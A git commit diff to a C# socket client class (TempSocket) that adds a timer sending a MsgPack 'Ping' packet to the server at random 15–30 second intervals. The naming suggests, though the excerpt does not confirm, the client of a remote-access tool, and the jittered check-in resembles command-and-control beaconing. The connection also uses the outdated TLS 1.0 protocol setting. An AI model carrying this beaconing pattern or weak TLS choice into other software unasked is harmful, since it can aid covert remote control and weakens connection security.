Check if server is connected
This commit is contained in:
parent
1e94cca05d
commit
1eea7071b2
@ -31,6 +31,8 @@ namespace Client.Sockets
|
|||||||
private MemoryStream MS { get; set; }
|
private MemoryStream MS { get; set; }
|
||||||
public bool IsConnected { get; set; }
|
public bool IsConnected { get; set; }
|
||||||
private object SendSync { get; } = new object();
|
private object SendSync { get; } = new object();
|
||||||
|
private static Timer Tick { get; set; }
|
||||||
|
|
||||||
|
|
||||||
public TempSocket()
|
public TempSocket()
|
||||||
{
|
{
|
||||||
@ -52,6 +54,7 @@ namespace Client.Sockets
|
|||||||
SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
|
SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
|
||||||
Buffer = new byte[4];
|
Buffer = new byte[4];
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
|
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
|
||||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
@ -75,7 +78,7 @@ namespace Client.Sockets
|
|||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
// Tick?.Dispose();
|
Tick?.Dispose();
|
||||||
SslClient?.Dispose();
|
SslClient?.Dispose();
|
||||||
Client?.Dispose();
|
Client?.Dispose();
|
||||||
MS?.Dispose();
|
MS?.Dispose();
|
||||||
@ -186,5 +189,13 @@ namespace Client.Sockets
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public void CheckServer(object obj)
|
||||||
|
{
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "Ping";
|
||||||
|
msgpack.ForcePathObject("Message").AsString = "";
|
||||||
|
Send(msgpack.Encode2Bytes());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
Loading…
x
Reference in New Issue
Block a user